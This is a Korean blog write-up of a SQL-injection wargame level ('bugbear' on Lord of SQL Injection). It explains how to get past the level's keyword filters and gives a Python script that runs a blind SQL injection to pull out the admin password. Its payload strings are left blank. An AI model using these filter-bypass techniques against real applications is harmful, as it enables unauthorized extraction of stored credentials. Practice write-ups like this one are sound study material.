Youngjin's Log

[los] 13번 문제 - bugbear 본문

Web/Wargame&CTF

[los] 13번 문제 - bugbear

Youngjin. 2018. 7. 26. 21:23

13번 문제 - bugbear



php 코드 분석

preg_match함수를 이용하여 테이블에 직접적인 접근을 금지하고 있습니다.

그리고 substr, ascii, =, or, and, 공백, LIKE, 16진수표시를 금지하고 있습니다.

첫번째 쿼리문에서 get방식으로 pw와 정수형의 no을 입력 받습니다.

쿼리문을 돌려서 출력되는 id를 화면에 표시합니다.

입력 받은 pw의 문자열을 addslashes함수를 이용하여 문자열에 싱글쿼터, 더블쿼터, 널값, 역슬래시 앞에 역슬래시(\)를 추가하여 pw변수로 반환합니다.

반환된 pw를 두번째 쿼리문에 입력하여 쿼리문이 정상동작하면 출력된 pw값과 입력되어 addslashes로 반환된 pw값을 비교하여 두개의 값이 같다면 클리어 되는 문제입니다.


TIP

입력되어 addslashes된 pw값과 출력되는 pw값과 문자열이 일치하여 클리어가 되는 문제이므로 결국에는 정확한 pw값을 입력하라는 문제입니다. 그러면 Blind SQL injection을 이용하여 admin의 pw값을 뽑아내시면 될 것 같습니다.

공백을 우회하고 ascii대신에 ord 또는 hex를 대신 사용할 수 있고, substr대신에 right, left, mid를 적절하게 혼합하여 사용하시면 될 것 같습니다. 그리고 =와 LIKE을 금지하고 있으므로 <, >을 이용하여 비교하시면 될 것 같습니다.

답은 다양한 형태로 올 수 있습니다.


코딩은 동작해서 원하는 값을 얻을 수 있게만 되어 있는거라 다른 분들처럼 최적화된 코드가 아닐 수도 있습니다. 그저 입력하는 노동을 조금 덜하기 위해서 빠르게 작성해본 것입니다. 저는 입력 값에 ascii대신에 hex를 이용하였고, substr대신에 right, left를 사용하는 것으로 코딩했습니다.

import requests

URL = 'https://los.eagle-jump.org/'
cookies={'Cookie':''}
ch = ''

result = ''
result2 = ''
num = 1
guest = 'Hello guest'
admin = 'Hello admin'
clear = 'Clear'

strp1 = ''
strp2 = ""

'''
strurl1 = input('반복할 첫번째 값:')
strurl2 = input('반복할 두번째 값:')
strurl3 = input('반복할 세번째 값:')
'''

strurl1 = ''
strurl2 = ""
strurl3 = ""

for p in range(1, 50):
req = requests.get(URL+ch+strp1+str(p)+strp2, headers=cookies)
response = req.text
print(strp1 + str(p) + strp2 )
if admin in response:
continue
else:
print('admin')
result3 = "암호의 길이는 " + str(p) + "자리 입니다."
break

for i in range(p,0,-1):
for j in range(0,128):
req = requests.get(URL+ch+strurl1+str(i)+strurl2+str(j)+strurl3, headers=cookies)

response = req.text
print(strurl1+str(i)+strurl2+str(j)+strurl3)

# 문자열 비교해서 출력하기
if admin in response:
continue
else:
print('admin')
result = result+'\n'+str(p+1-i)+'번째 암호는'+' = '+'hex 값: '+str(j)
result2 = result2+" "+str(j)
break
#결과 출력
print(result)
print(result3)
print('답은 :'+result2)


'Web > Wargame&CTF' 카테고리의 다른 글

[los] 15번 문제 - assassin  (1) 2018.11.14
[los] 14번 문제 - giant  (0) 2018.11.14
[los] 12번 문제 darkknight  (0) 2018.07.12
[los] 11번 문제 golem  (0) 2018.07.12
[los] 10번 문제 skeleton  (0) 2018.07.12
Comments